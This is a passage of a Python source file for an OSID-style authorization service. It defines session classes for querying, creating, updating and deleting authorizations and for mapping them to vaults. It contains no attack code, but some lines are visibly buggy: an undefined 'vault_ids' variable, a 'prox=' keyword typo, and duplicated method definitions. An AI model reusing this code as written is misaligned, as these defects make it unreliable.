authorization view: only explicit authorizations are returned """ def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._kwargs = kwargs def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_search_authorizations(self): """Tests if this user can perform authorization searches. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer search operations to unauthorized users. return: (boolean) - ``false`` if search methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceQuerySession.can_search_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True def use_federated_vault_view(self): """Federates the view for methods in this session. A federated view will include authorizations in vaults which are children of this vault in the vault hierarchy. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_federated_bin_view self._use_federated_catalog_view() def use_isolated_vault_view(self): """Isolates the view for methods in this session. An isolated view restricts searches to this vault only. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.ResourceLookupSession.use_isolated_bin_view self._use_isolated_catalog_view() def use_implicit_authorization_view(self): """Sets the view for methods in this session to implicit authorizations. An implicit view will include authorizations derived from other authorizations as a result of the ``Qualifier,`` ``Function`` or ``Resource`` hierarchies. This method is the opposite of ``explicit_aut`` *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() def use_explicit_authorization_view(self): """Sets the view for methods in this session to explicit authorizations. An explicit view includes only those authorizations that were explicitly defined and not implied. This method is the opposite of ``implicitAuthorizationView()``. *compliance: mandatory -- This method is must be implemented.* """ raise errors.Unimplemented() def get_authorization_query(self): """Gets an authorization query. return: (osid.authorization.AuthorizationQuery) - the authorization query *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceQuerySession.get_resource_query_template return queries.AuthorizationQuery(runtime=self._runtime) authorization_query = property(fget=get_authorization_query) @utilities.arguments_not_none def get_authorizations_by_query(self, authorization_query): """Gets a list of ``Authorizations`` matching the given query. arg: authorization_query (osid.authorization.AuthorizationQuery): the authorization query return: (osid.authorization.AuthorizationList) - the returned ``AuthorizationList`` raise: NullArgument - ``authorization_query`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``authorization_query`` is not of this service *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceQuerySession.get_resources_by_query and_list = list() or_list = list() for term in authorization_query._query_terms: if '$in' in authorization_query._query_terms[term] and '$nin' in authorization_query._query_terms[term]: and_list.append( {'$or': [{term: {'$in': authorization_query._query_terms[term]['$in']}}, {term: {'$nin': authorization_query._query_terms[term]['$nin']}}]}) else: and_list.append({term: authorization_query._query_terms[term]}) for term in authorization_query._keyword_terms: or_list.append({term: authorization_query._keyword_terms[term]}) if or_list: and_list.append({'$or': or_list}) view_filter = self._view_filter() if view_filter: and_list.append(view_filter) if and_list: query_terms = {'$and': and_list} collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) result = collection.find(query_terms).sort('_id', DESCENDING) else: result = [] return objects.AuthorizationList(result, runtime=self._runtime, proxy=self._proxy) class AuthorizationAdminSession(abc_authorization_sessions.AuthorizationAdminSession, osid_sessions.OsidSession): """This session creates, updates, and deletes ``Authorizations``. The data for create and update is provided by the consumer via the form object. ``OsidForms`` are requested for each create or update and may not be reused. Create and update operations differ in their usage. To create an ``Authorization,`` an ``AuthorizationForm`` is requested using ``get_authorization_form_for_create()`` specifying the desired relationship peers and record ``Types`` or none if no record ``Types`` are needed. The returned ``AuthorizationForm`` will indicate that it is to be used with a create operation and can be used to examine metdata or validate data prior to creation. Once the ``AuthorizationForm`` is submiited to a create operation, it cannot be reused with another create operation unless the first operation was unsuccessful. Each ``AuthorizationForm`` corresponds to an attempted transaction. For updates, ``AuthorizationForms`` are requested to the ``Authorization`` ``Id`` that is to be updated using ``getAuthorizationFormForUpdate()``. Similarly, the ``AuthorizationForm`` has metadata about the data that can be updated and it can perform validation before submitting the update. The ``AuthorizationForm`` can only be used once for a successful update and cannot be reused. The delete operations delete ``Authorizations``. To unmap an ``Authorization`` from the current ``Vault,`` the ``AuthorizationVaultAssignmentSession`` should be used. These delete operations attempt to remove the ``Authorization`` itself thus removing it from all known ``Vault`` catalogs. This session includes an ``Id`` aliasing mechanism to assign an external ``Id`` to an internally assigned Id. """ def __init__(self, catalog_id=None, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) self._catalog_class = objects.Vault self._catalog_name = 'Vault' OsidSession._init_object( self, catalog_id, proxy, runtime, db_name='authorization', cat_name='Vault', cat_class=objects.Vault) self._forms = dict() self._kwargs = kwargs def get_vault_id(self): """Gets the ``Vault`` ``Id`` associated with this session. return: (osid.id.Id) - the ``Vault Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin_id return self._catalog_id vault_id = property(fget=get_vault_id) def get_vault(self): """Gets the ``Vault`` associated with this session. return: (osid.authorization.Vault) - the ``Vault`` associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for osid.resource.ResourceLookupSession.get_bin return self._catalog vault = property(fget=get_vault) def can_create_authorizations(self): """Tests if this user can create ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer create operations to unauthorized users. return: (boolean) - ``false`` if ``Authorization`` creation is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_create_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def can_create_authorization_with_record_types(self, authorization_record_types): """Tests if this user can create a single ``Authorization`` using the desired record types. While ``AuthorizationManager.getAuthorizationRecordTypes()`` can be used to examine which records are supported, this method tests which record(s) are required for creating a specific ``Authorization``. Providing an empty array tests if an ``Authorization`` can be created with no records. arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (boolean) - ``true`` if ``Authorization`` creation using the specified ``Types`` is supported, ``false`` otherwise raise: NullArgument - ``authorization_record_types`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_create_resource_with_record_types # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def get_authorization_form_for_create_for_agent(self, agent_id, function_id, qualifier_id, authorization_record_types): """Gets the authorization form for creating new authorizations. A new form should be requested for each create transaction. arg: agent_id (osid.id.Id): the agent ``Id`` arg: function_id (osid.id.Id): the function ``Id`` arg: qualifier_id (osid.id.Id): the qualifier ``Id`` arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``agent_id, function_id`` or ``qualifier_id`` is not found raise: NullArgument - ``agent_id, function_id, qualifier_id`` or ``authorization_record_types`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form with requested record types *compliance: mandatory -- This method must be implemented.* """ if not isinstance(agent_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(function_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(qualifier_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') for arg in authorization_record_types: if not isinstance(arg, ABCType): raise errors.InvalidArgument('one or more argument array elements is not a valid OSID Type') if authorization_record_types == []: # WHY are we passing vault_id = self._catalog_id below, seems redundant: # We probably also don't need to send agent_id. The form can now get that from the proxy obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, agent_id=agent_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, proxy=self._proxy) else: obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, record_types=authorization_record_types, agent_id=agent_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, proxy=self._proxy) obj_form._for_update = False self._forms[obj_form.get_id().get_identifier()] = not CREATED return obj_form @utilities.arguments_not_none def get_authorization_form_for_create_for_resource(self, resource_id, function_id, qualifier_id, authorization_record_types): """Gets the authorization form for creating new authorizations. A new form should be requested for each create transaction. arg: resource_id (osid.id.Id): the resource ``Id`` arg: function_id (osid.id.Id): the function ``Id`` arg: qualifier_id (osid.id.Id): the qualifier ``Id`` arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``resource_id, function_id`` or ``qualifier_id`` is not found raise: NullArgument - ``resource_id, function_id, qualifier_id,`` or ``authorization_record_types`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form with requested record types *compliance: mandatory -- This method must be implemented.* """ if not isinstance(resource_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(function_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') if not isinstance(qualifier_id, ABCId): raise errors.InvalidArgument('argument is not a valid OSID Id') for arg in authorization_record_types: if not isinstance(arg, ABCType): raise errors.InvalidArgument('one or more argument array elements is not a valid OSID Type') if authorization_record_types == []: # WHY are we passing vault_id = self._catalog_id below, seems redundant: obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, resource_id=resource_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, prox=self._proxy) else: obj_form = objects.AuthorizationForm( vault_id=self._catalog_id, record_types=authorization_record_types, resource_id=resource_id, function_id=function_id, qualifier_id=qualifier_id, catalog_id=self._catalog_id, runtime=self._runtime, proxy=self._proxy) obj_form._for_update = False self._forms[obj_form.get_id().get_identifier()] = not CREATED return obj_form @utilities.arguments_not_none def get_authorization_form_for_create_for_resource_and_trust(self, resource_id, trust_id, function_id, qualifier_id, authorization_record_types): """Gets the authorization form for creating new authorizations. A new form should be requested for each create transaction. arg: resource_id (osid.id.Id): a resource ``Id`` arg: trust_id (osid.id.Id): an ``Id`` for a circle of trust arg: function_id (osid.id.Id): a function ``Id`` arg: qualifier_id (osid.id.Id): the qualifier ``Id`` arg: authorization_record_types (osid.type.Type[]): array of authorization record types return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``resource_id, trust_id, function_id`` , or ``qualifierid`` is not found raise: NullArgument - ``resource_id, trust_id`` , ``resource_id, qualifier_id`` or ``authorization_record_types`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form with requested record types *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def create_authorization(self, authorization_form): """Creates a new explicit ``Authorization``. arg: authorization_form (osid.authorization.AuthorizationForm): the authorization form return: (osid.authorization.Authorization) - ``t`` he new ``Authorization`` raise: IllegalState - ``authorization_form`` already used in a create transaction raise: InvalidArgument - one or more of the form elements is invalid raise: NullArgument - ``authorization_form`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - ``authorization_form`` did not originate from this service *compliance: mandatory -- This method must be implemented.* """ # TODO: not using the create_resource template # because want to prevent duplicate authorizations collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_form, ABCAuthorizationForm): raise errors.InvalidArgument('argument type is not an AuthorizationForm') if authorization_form.is_for_update(): raise errors.InvalidArgument('the AuthorizationForm is for update only, not create') try: if self._forms[authorization_form.get_id().get_identifier()] == CREATED: raise errors.IllegalState('authorization_form already used in a create transaction') except KeyError: raise errors.Unsupported('authorization_form did not originate from this session') if not authorization_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') # try to check first here try: osid_map = collection.find_one({"agentId": authorization_form._my_map['agentId'], "functionId": authorization_form._my_map['functionId'], "qualifierId": authorization_form._my_map['qualifierId'], "assignedVaultIds": authorization_form._my_map['assignedVaultIds']}) osid_map['startDate'] = authorization_form._my_map['startDate'] osid_map['endDate'] = authorization_form._my_map['endDate'] collection.save(osid_map) except errors.NotFound: insert_result = collection.insert_one(authorization_form._my_map) self._forms[authorization_form.get_id().get_identifier()] = CREATED osid_map = collection.find_one({'_id': insert_result.inserted_id}) result = objects.Authorization( osid_object_map=osid_map, runtime=self._runtime, proxy=self._proxy) return result def can_update_authorizations(self): """Tests if this user can update ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known updating an ``Authorization`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer update operations to an unauthorized user. return: (boolean) - ``false`` if authorization modification is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_update_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def get_authorization_form_for_update(self, authorization_id): """Gets the authorization form for updating an existing authorization. A new authorization form should be requested for each update transaction. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.get_resource_form_for_update_template collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') if (authorization_id.get_identifier_namespace() != 'authorization.Authorization' or authorization_id.get_authority() != self._authority): raise errors.InvalidArgument() result = collection.find_one({'_id': ObjectId(authorization_id.get_identifier())}) obj_form = objects.AuthorizationForm(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) self._forms[obj_form.get_id().get_identifier()] = not UPDATED return obj_form @utilities.arguments_not_none def update_authorization(self, authorization_form): """Updates an existing authorization. arg: authorization_form (osid.authorization.AuthorizationForm): the authorization ``Id`` raise: IllegalState - ``authorization_form`` already used in an update transaction raise: InvalidArgument - one or more of the form elements is invalid raise: NullArgument - ``authorization_form`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - ``authorization_form`` did not originate from ``get_authorization_form_for_update()`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.update_resource_template collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_form, ABCAuthorizationForm): raise errors.InvalidArgument('argument type is not an AuthorizationForm') if not authorization_form.is_for_update(): raise errors.InvalidArgument('the AuthorizationForm is for update only, not create') try: if self._forms[authorization_form.get_id().get_identifier()] == UPDATED: raise errors.IllegalState('authorization_form already used in an update transaction') except KeyError: raise errors.Unsupported('authorization_form did not originate from this session') if not authorization_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') collection.save(authorization_form._my_map) self._forms[authorization_form.get_id().get_identifier()] = UPDATED # Note: this is out of spec. The OSIDs don't require an object to be returned: return objects.Authorization( osid_object_map=authorization_form._my_map, runtime=self._runtime, proxy=self._proxy) def can_delete_authorizations(self): """Tests if this user can delete ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known deleting an ``Authorization`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer delete operations to an unauthorized user. return: (boolean) - ``false`` if ``Authorization`` deletion is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_delete_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def delete_authorization(self, authorization_id): """Deletes the ``Authorization`` identified by the given ``Id``. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` to delete raise: NotFound - an ``Authorization`` was not found identified by the given ``Id`` raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.delete_resource_template collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') authorization_map = collection.find_one( dict({'_id': ObjectId(authorization_id.get_identifier())}, **self._view_filter())) objects.Authorization(osid_object_map=authorization_map, runtime=self._runtime, proxy=self._proxy)._delete() collection.delete_one({'_id': ObjectId(authorization_id.get_identifier())}) def can_manage_authorization_aliases(self): """Tests if this user can manage ``Id`` aliases for ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known changing an alias will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer alias operations to an unauthorized user. return: (boolean) - ``false`` if ``Authorization`` aliasing is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def alias_authorization(self, authorization_id, alias_id): """Adds an ``Id`` to an ``Authorization`` for the purpose of creating compatibility. The primary ``Id`` of the ``Authorization`` is determined by the provider. The new ``Id`` performs as an alias to the primary ``Id``. If the alias is a pointer to another authorization. it is reassigned to the given authorization ``Id``. arg: authorization_id (osid.id.Id): the ``Id`` of an ``Authorization`` arg: alias_id (osid.id.Id): the alias ``Id`` raise: AlreadyExists - ``alias_id`` is already assigned raise: NotFound - ``authorization_id`` not found raise: NullArgument - ``authorization_id`` or ``alias_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.alias_resources_template self._alias_id(primary_id=authorization_id, equivalent_id=alias_id) class AuthorizationVaultSession(abc_authorization_sessions.AuthorizationVaultSession, osid_sessions.OsidSession): """This session provides methods to retrieve ``Authorization`` to ``Vault`` mappings. An ``Authorization`` may appear in multiple ``Vaults``. Each ``Vault`` may have its own authorizations governing who is allowed to look at it. This lookup session defines several views: * comparative view: elements may be silently omitted or re-ordered * plenary view: provides a complete result set or is an error condition """ _session_namespace = 'authorization.AuthorizationVaultSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession._init_catalog(self, proxy, runtime) self._catalog_view = COMPARATIVE self._kwargs = kwargs def use_comparative_vault_view(self): """The returns from the lookup methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_comparative_bin_view self._catalog_view = COMPARATIVE if self._catalog_session is not None: self._catalog_session.use_comparative_catalog_view() def use_plenary_vault_view(self): """A complete view of the ``Authorization`` and ``Vault`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_plenary_bin_view self._catalog_view = PLENARY if self._catalog_session is not None: self._catalog_session.use_plenary_catalog_view() def can_lookup_authorization_vault_mappings(self): """Tests if this user can perform lookups of authorization/vault mappings. A return of true does not guarantee successful authorization. A return of false indicates that it is known lookup methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if looking up mappings is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.can_lookup_resource_bin_mappings # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def get_authorization_ids_by_vault(self, vault_id): """Gets the list of ``Authorization`` ``Ids`` associated with a ``Vault``. arg: vault_id (osid.id.Id): ``Id`` of a ``Vault`` return: (osid.id.IdList) - list of related authorization ``Ids`` raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resource_ids_by_bin id_list = [] for authorization in self.get_authorizations_by_vault(vault_id): id_list.append(authorization.get_id()) return IdList(id_list) @utilities.arguments_not_none def get_authorizations_by_vault(self, vault_id): """Gets the list of ``Authorizations`` associated with a ``Vault``. arg: vault_id (osid.id.Id): ``Id`` of a ``Vault`` return: (osid.authorization.AuthorizationList) - list of related authorization raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resources_by_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_authorization_lookup_session_for_vault(vault_ids, proxy=self._proxy) lookup_session.use_isolated_vault_view() return lookup_session.get_authorizations() @utilities.arguments_not_none def get_authorizations_ids_by_vault(self, vault_ids): """Gets the list of ``Authorization Ids`` corresponding to a list of ``Vault`` objects. arg: vault_ids (osid.id.IdList): list of vault ``Ids`` return: (osid.id.IdList) - list of authorization ``Ids`` raise: NullArgument - ``vault_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resource_ids_by_bin id_list = [] for authorization in self.get_authorizations_by_vault(vault_ids): id_list.append(authorization.get_id()) return IdList(id_list) @utilities.arguments_not_none def get_authorizations_by_vault(self, vault_ids): """Gets the list of ``Authorizations`` corresponding to a list of ``Vault``. arg: vault_ids (osid.id.IdList): list of vault ``Ids`` return: (osid.authorization.AuthorizationList) - list of authorizations raise: NullArgument - ``vault_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resources_by_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_authorization_lookup_session_for_vault(vault_ids, proxy=self._proxy) lookup_session.use_isolated_vault_view() return lookup_session.get_authorizations() @utilities.arguments_not_none def get_vault_ids_by_authorization(self, authorization_id): """Gets the list of ``Vault`` ``Ids`` mapped to an ``Authorization``. arg: authorization_id (osid.id.Id): ``Id`` of an ``Authorization`` return: (osid.id.IdList) - list of vault ``Ids`` raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_bin_ids_by_resource mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_authorization_lookup_session(proxy=self._proxy) lookup_session.use_federated_vault_view() authorization = lookup_session.get_authorization(authorization_id) id_list = [] for idstr in authorization._my_map['assignedVaultIds']: id_list.append(Id(idstr)) return IdList(id_list) @utilities.arguments_not_none def get_vault_by_authorization(self, authorization_id): """Gets the list of ``Vault`` objects mapped to an ``Authorization``. arg: authorization_id (osid.id.Id): ``Id`` of an ``Authorization`` return: (osid.authorization.VaultList) - list of vault raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() class AuthorizationVaultAssignmentSession(abc_authorization_sessions.AuthorizationVaultAssignmentSession, osid_sessions.OsidSession): """This session provides methods to re-assign ``Authorizations`` to ``Vault``. An ``Authorization`` may map to multiple ``Vault`` objects and removing the last reference to a ``Authorization`` is the equivalent of deleting it. Each ``Vault`` may have its own authorizations governing who is allowed to operate on it. Moving or adding a reference of a ``Authorization`` to another ``Vault`` is not a copy operation (eg: does not change its ``Id`` ). """ _session_namespace = 'authorization.AuthorizationVaultAssignmentSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession._init_catalog(self, proxy, runtime) self._catalog_name = 'Vault' self._forms = dict() self._kwargs = kwargs def can_assign_authorizations(self): """Tests if this user can alter authorization/vault mappings. A return of true does not guarantee successful authorization. A return of false indicates that it is known mapping methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer assignment operations to unauthorized users. return: (boolean) - ``false`` if mapping is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.can_assign_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def can_assign_authorizations_to_vault(self, vault_id): """Tests if this user can alter authorization/vault mappings. A return of true does not guarantee successful authorization. A return of false indicates that it is known mapping methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer assignment operations to unauthorized users. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` return: (boolean) - ``false`` if mapping is not authorized, ``true`` otherwise raise: NullArgument - ``vault_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.can_assign_resources_to_bin # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if vault_id.get_identifier() == '000000000000000000000000': return False return True @utilities.arguments_not_none def get_assignable_vault_ids(self, vault_id): """Gets a list of vault including and under the given vault node in which any authorization can be assigned. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` return: (osid.id.IdList) - list of assignable vault ``Ids`` raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.get_assignable_bin_ids # This will likely be overridden by an authorization adapter mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_vault_lookup_session(proxy=self._proxy) vaults = lookup_session.get_vaults() id_list = [] for vault in vaults: id_list.append(vault.get_id()) return IdList(id_list) @utilities.arguments_not_none def get_assignable_vault_ids_for_authorization(self, vault_id, authorization_id): """Gets a list of vault including and under the given vault node in which a specific authorization can be assigned. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` return: (osid.id.IdList) - list of assignable vault ``Ids`` raise: NullArgument - ``vault_id`` or ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.get_assignable_bin_ids_for_resource # This will likely be overridden by an authorization adapter return self.get_assignable_vault_ids(vault_id) @utilities.arguments_not_none def assign_authorization_to_vault(self, authorization_id, vault_id): """Adds an existing ``Authorization`` to a ``Vault``. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` raise: AlreadyExists - ``authorization_id`` is already assigned to ``vault_id`` raise: NotFound - ``authorization_id`` or ``vault_id`` not found raise: NullArgument - ``authorization_id`` or ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.assign_resource_to_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_vault_lookup_session(proxy=self._proxy) lookup_session.get_vault(vault_id) # to raise NotFound self._assign_object_to_catalog(authorization_id, vault_id) @utilities.arguments_not_none def unassign_authorization_from_vault(self, authorization_id, vault_id): """Removes an ``Authorization`` from a ``Vault``. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` raise: NotFound - ``authorization_id`` or ``vault_id`` not found or ``authorization_id`` not assigned to ``vault_id`` raise: NullArgument - ``authorization_id`` or ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.unassign_resource_from_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_vault_lookup_session(proxy=self._proxy) lookup_session.get_vault(vault_id) # to raise NotFound self._unassign_object_from_catalog(authorization_id, vault_id) @utilities.arguments_not_none def reassign_authorization_to_vault(self, authorization_id, from_vault_id, to_vault_id): """Moves an ``Authorization`` from one ``Vault`` to another. Mappings to other ``Vaults`` are unaffected. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` arg: from_vault_id (osid.id.Id): the ``Id`` of the current ``Vault`` arg: to_vault_id (osid.id.Id): the ``Id`` of the destination ``Vault`` raise: NotFound - ``authorization_id, from_vault_id,`` or ``to_vault_id`` not found or ``authorization_id`` not mapped to ``from_vault_id`` raise: NullArgument - ``authorization_id, from_vault_id,`` or ``to_vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # 